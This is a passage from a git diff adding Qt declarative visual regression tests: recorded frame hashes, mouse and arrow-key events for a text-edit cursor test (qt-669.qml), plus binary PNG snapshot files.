"60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 7088 + hash: "00dfc5f4468482cb5f74e62be235b1d2" + } + Frame { + msec: 7104 + hash: "62bc9c57724f7ab6bcf7d75d8ff68097" + } + Frame { + msec: 7120 + hash: "ad65de5a6887c0a31a9d8f72a2a651db" + } + Frame { + msec: 7136 + hash: "75e854ccaad087bfe776a843f0bd7284" + } + Frame { + msec: 7152 + hash: "1e3f580f37a0dc063a383bdf435e85ea" + } + Frame { + msec: 7168 + hash: "3d78320cb021944d7c6cee1a42056663" + } + Frame { + msec: 7184 + hash: "fca865f762c1a6cc3e487e0e908eef73" + } + Frame { + msec: 7200 + hash: "fb7ad9156658f3866d19e43f006cf013" + } + Frame { + msec: 7216 + hash: "6f7411363c66d0959ea5a16a9b610e61" + } + Frame { + msec: 7232 + hash: "a33dce3c55b1b1541cfb9b85a75fcb53" + } + Frame { + msec: 7248 + hash: "56b81435dc4ce193bb98c3d02c781242" + } + Frame { + msec: 7264 + hash: "d64b58801430d5063225dceac1603bca" + } + Frame { + msec: 7280 + hash: "43906030c2572af0f8f0577dbc86e346" + } + Frame { + msec: 7296 + hash: "a8f3e7fbb95ed8fe2b83871eb3d2c151" + } + Frame { + msec: 7312 + hash: "ac132304e072806431803d26e345b264" + } + Frame { + msec: 7328 + hash: "56215b7d24ac382ff1ed256c80d14091" + } + Frame { + msec: 7344 + hash: "4d5c97925b21d699f1c3720a3f51ebbb" + } + Frame { + msec: 7360 + hash: "70ce229fae6985dd49de8cca01c031e6" + } + Frame { + msec: 7376 + hash: "96edf1f15c674c5d8c4e4ce9e1d34f1d" + } + Frame { + msec: 7392 + hash: "d12e03b5da6ea7b162d7dec6930c1a54" + } + Frame { + msec: 7408 + hash: "269718e3586affbbdf0b9599e12f5677" + } + Frame { + msec: 7424 + hash: "42d19ea6dd328c505da5a4eee23a257d" + } + Frame { + msec: 7440 + hash: "e4d9d77859759dd95cf3ffee8f142cd8" + } + Frame { + msec: 7456 + hash: "445e4c6e9872b63a1461e3277dd8185c" + } + Frame { + msec: 7472 + hash: "d6343c629acd987179eae0d158d2504c" + } + Frame { + msec: 7488 + hash: "a5340087baa2c3694ed0cc2bbc3e2ad9" + } + Frame { + msec: 7504 + hash: "205973c30aaca71d1f20e740ce971d82" + } + Frame { + msec: 7520 + hash: "ed28c7e07755e177222c7e322116bfb4" + } + Frame { + msec: 7536 + hash: "6cebfc407a985694c803940608ab1303" + } + Frame { + msec: 7552 + hash: "87f825fc820d3942e4d9b5ece5be3714" + } + Frame { + msec: 7568 + hash: "9aa56dfe90ed2eba58eee0ff6ff3822c" + } + Frame { + msec: 7584 + hash: "c93acf87a918f21a55cf39ea255315a3" + } + Frame { + msec: 7600 + hash: "f8ce1bec5d5016c56fc66d52c28e69d1" + } + Frame { + msec: 7616 + hash: "a365dba2f7c4be77ea98b727813c2f03" + } + Frame { + msec: 7632 + hash: "e8d1c35ee9ef74c4070adfce5e4560f1" + } + Frame { + msec: 7648 + hash: "f5f2dbb041eeb4de1821761f4fbca506" + } + Frame { + msec: 7664 + hash: "f4ea6e9dff51778e9b5d1321453617ec" + } + Frame { + msec: 7680 + image: "cursorDelegate.7.png" + } + Frame { + msec: 7696 + hash: "f2869791dde1eb4c2ea24e04dc3ac653" + } + Frame { + msec: 7712 + hash: "9bd70e91b765de22b70fe295adc4f87f" + } + Frame { + msec: 7728 + hash: "c0338d0a5c72ba63bff666a76ab3242c" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 227; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7744 + hash: "cb2a643eed9b5658260e04495820cd3d" + } + Frame { + msec: 7760 + hash: "6dda51f2e611b1f589c75820fd8c7295" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 227; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7776 + hash: "98d8692afd47c61421ddcae62414a72e" + } + Frame { + msec: 7792 + hash: "2c533bcdd9df45c6f942d47509ebf20e" + } + Frame { + msec: 7808 + hash: "d28f231fb1e128329e8985689deac882" + } + Frame { + msec: 7824 + hash: "ea73450baf98a2f629ce1c203cfcd728" + } + Frame { + msec: 7840 + hash: "959a31d38edc343b5e081fd0cddc81df" + } + Frame { + msec: 7856 + hash: "9b1ae10ee8e9b3f176357733af9e6735" + } + Frame { + msec: 7872 + hash: "89b0dd11f456bbb321e0bd2e1614c193" + } + Frame { + msec: 7888 + hash: "a0a3aa6d8d4c677894e745ee432084e2" + } + Frame { + msec: 7904 + hash: "f63207b8903085b19de1c9b6a9ff90e0" + } + Frame { + msec: 7920 + hash: "c8f2126fece8c2b473c6511aa568dddb" + } + Frame { + msec: 7936 + hash: "6ccd1f30e85dbad74468c228d92a9a3c" + } + Frame { + msec: 7952 + hash: "bae09fe9f29e0f6ebda298cae753ddab" + } + Frame { + msec: 7968 + hash: "cde4abae868488345fb124b927f46b45" + } + Frame { + msec: 7984 + hash: "a88ccf9c8ae34ffcfd15af4e66102040" + } + Frame { + msec: 8000 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 8016 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 8032 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 8048 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 8064 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 8080 + hash: "a88ccf9c8ae34ffcfd15af4e66102040" + } + Frame { + msec: 8096 + hash: "cde4abae868488345fb124b927f46b45" + } + Frame { + msec: 8112 + hash: "bae09fe9f29e0f6ebda298cae753ddab" + } + Frame { + msec: 8128 + hash: "6ccd1f30e85dbad74468c228d92a9a3c" + } + Frame { + msec: 8144 + hash: "c8f2126fece8c2b473c6511aa568dddb" + } + Frame { + msec: 8160 + hash: "f63207b8903085b19de1c9b6a9ff90e0" + } + Frame { + msec: 8176 + hash: "a0a3aa6d8d4c677894e745ee432084e2" + } + Frame { + msec: 8192 + hash: "89b0dd11f456bbb321e0bd2e1614c193" + } + Frame { + msec: 8208 + hash: "9b1ae10ee8e9b3f176357733af9e6735" + } + Frame { + msec: 8224 + hash: "959a31d38edc343b5e081fd0cddc81df" + } + Frame { + msec: 8240 + hash: "ea73450baf98a2f629ce1c203cfcd728" + } + Frame { + msec: 8256 + hash: "d28f231fb1e128329e8985689deac882" + } + Frame { + msec: 8272 + hash: "2c533bcdd9df45c6f942d47509ebf20e" + } + Frame { + msec: 8288 + hash: "98d8692afd47c61421ddcae62414a72e" + } + Frame { + msec: 8304 + hash: "6dda51f2e611b1f589c75820fd8c7295" + } + Frame { + msec: 8320 + hash: "cb2a643eed9b5658260e04495820cd3d" + } + Frame { + msec: 8336 + hash: "88afd2fa1182fbb2aab100d4587a1006" + } + Frame { + msec: 8352 + hash: "bc657c5181a11a9ff9565f134bdccb8d" + } + Frame { + msec: 8368 + hash: "a296634d814a6e12f9d09f4d8a9fa097" + } + Frame { + msec: 8384 + hash: "f05a2deeb12722904c4f31d641dffeb4" + } + Frame { + msec: 8400 + hash: "75823698247e39dd10a70fe224e13597" + } + Frame { + msec: 8416 + hash: "244fa06c168f7a7401b8ec7f5ddb0e52" + } + Frame { + msec: 8432 + hash: "a78e0f88d269290e9086d1d854618f0c" + } + Frame { + msec: 8448 + hash: "57b1281d29d5c5fdc15d9cf1e3a5545c" + } + Frame { + msec: 8464 + hash: "a24ac211ef29dcf7f22ac95991f1af3f" + } + Frame { + msec: 8480 + hash: "361f978ea3597fd518c25c0069c22e8b" + } + Frame { + msec: 8496 + hash: "ac8e2c01eb58aac0eb4feb6aba9b9628" + } + Frame { + msec: 8512 + hash: "6099612934b5eb90296f1cc3cb5c1a84" + } + Frame { + msec: 8528 + hash: "7c3f08291168065fc9c1d62108022d33" + } + Frame { + msec: 8544 + hash: "8bf57ba445d668af5f3e59276c4f8800" + } + Frame { + msec: 8560 + hash: "c8ed352cbfbc472ea4802a9e03d40052" + } + Frame { + msec: 8576 + hash: "11e5546b30e47d2f3067c0364b9f0877" + } + Frame { + msec: 8592 + hash: "9df0f136fca92d4a05f17ee68f0cd286" + } + Frame { + msec: 8608 + hash: "39f47838a622ba328548cad57cca9e12" + } + Frame { + msec: 8624 + hash: "c891d582be4b23c01e29032fe861081f" + } + Frame { + msec: 8640 + image: "cursorDelegate.8.png" + } + Frame { + msec: 8656 + hash: "c3820dfd382c4568d9fbd2ee95889eda" + } + Frame { + msec: 8672 + hash: "528cf8778318bf7216b54f983dadb2b4" + } + Frame { + msec: 8688 + hash: "419518a3c63aa36f6070e95eb93e58a3" + } + Frame { + msec: 8704 + hash: "11b22e2853c0a9ea6e4ac764348698c9" + } + Frame { + msec: 8720 + hash: "8018329c4b57647942ae34a5f83c2b12" + } + Frame { + msec: 8736 + hash: "c37e9fd5c3d664c2e4911c8cb9fcabf7" + } + Frame { + msec: 8752 + hash: "4e7895f802c9fc249894ba0db25959f7" + } + Frame { + msec: 8768 + hash: "5fed71d99ef70432bc6be8caaea36f17" + } + Frame { + msec: 8784 + hash: "69976d074acbd7a5731c70b33c8f084b" + } + Frame { + msec: 8800 + hash: "c88952348da3df0627b12b8bb05ca13e" + } + Frame { + msec: 8816 + hash: "cc5222da7a17c66d4db146c406492701" + } + Frame { + msec: 8832 + hash: "8915e752776da27cb86019c9decc8a8c" + } + Frame { + msec: 8848 + hash: "d8a77ccc7c01cf187e846a2903e1c55e" + } + Frame { + msec: 8864 + hash: "3cf3f02f98a199c81ef73e8905e7f7ee" + } + Frame { + msec: 8880 + hash: "7a1d47e0109fc370bf63714040cbef96" + } + Frame { + msec: 8896 + hash: "2ca8b8ddbe73b29327e474da34a14a87" + } + Frame { + msec: 8912 + hash: "ee75214865fca848aa38cc05b6049d8f" + } + Frame { + msec: 8928 + hash: "05ab7d8118a806f2215160f5f266a082" + } + Frame { + msec: 8944 + hash: "31e63095b7be56d0bf75e9cff832feb7" + } + Frame { + msec: 8960 + hash: "3ffda2c2f154f1eb806e9f0963057fa1" + } + Frame { + msec: 8976 + hash: "4e805203b58e8f6f331f2e878704fa01" + } + Frame { + msec: 8992 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 9008 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 9024 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 9040 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 9056 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 9072 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 9088 + hash: "4e805203b58e8f6f331f2e878704fa01" + } + Frame { + msec: 9104 + hash: "3ffda2c2f154f1eb806e9f0963057fa1" + } + Frame { + msec: 9120 + hash: "31e63095b7be56d0bf75e9cff832feb7" + } + Frame { + msec: 9136 + hash: "05ab7d8118a806f2215160f5f266a082" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png new file mode 100644 index 0000000..95a835a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png new file mode 100644 index 0000000..409192c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png new file mode 100644 index 0000000..cd2f112 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png new file mode 100644 index 0000000..7191c1e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml new file mode 100644 index 0000000..352c890 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml @@ -0,0 +1,1371 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 32 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 48 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 64 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 80 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 96 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 112 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 128 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 144 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 160 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 176 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 192 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 208 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 224 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 240 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 256 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 272 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 288 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 304 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 320 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 336 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 352 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 368 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 384 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 400 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 416 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 432 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 448 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 464 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 480 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 496 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 512 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 528 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 560 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 576 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 592 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 608 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 624 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 640 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 656 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 672 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 688 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 704 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 720 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 736 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 752 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 768 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 784 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 800 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 816 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 832 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 848 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 864 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 880 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 896 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 912 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 928 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 944 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 960 + image: "qt-669.0.png" + } + Frame { + msec: 976 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 992 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 1008 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1024 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 1040 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 1056 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 1072 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 1088 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1104 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 1120 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 1136 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1152 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 1168 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 1184 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 1200 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 1216 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1232 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 1248 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 1264 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 1280 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1296 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 1312 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 1328 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 1344 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1360 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1376 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1392 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1408 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1424 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1440 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1456 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1472 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1488 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1504 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1520 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1536 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1552 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1568 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1584 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1600 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1616 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1632 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1648 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1664 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1680 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1696 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1712 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1728 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1744 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1760 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1776 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1792 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1808 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1824 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Frame { + msec: 1840 + hash: "a3b98f215b2329e29d17b61eba0f9e45" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1856 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1872 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1888 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1904 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1920 + image: "qt-669.1.png" + } + Frame { + msec: 1936 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1952 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1968 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 1984 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2000 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 2016 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 2032 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 2048 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Frame { + msec: 2064 + hash: "d85314199885fdf9cc8e666c3fb723fb" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2080 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2096 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2112 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2128 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2144 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2160 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2176 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2192 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2208 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Frame { + msec: 2224 + hash: "1313880b796ae7134f50fa8dafa4a974" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2240 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 2256 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 2288 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 2304 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 2320 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Frame { + msec: 2336 + hash: "c899e9d181860f682ba7275fa36f82a1" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2352 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2368 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2384 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2400 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2416 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2432 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2448 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2464 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2480 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2496 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2512 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2528 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2544 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2560 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2576 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Frame { + msec: 2592 + hash: "2caf044acf7aaf0af6a03e7b8180fa16" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2608 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2624 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2640 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2656 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2672 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2688 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2704 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2720 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2736 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Frame { + msec: 2752 + hash: "c87aaf72137c2b9e8c876879e7215072" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2768 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 2784 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 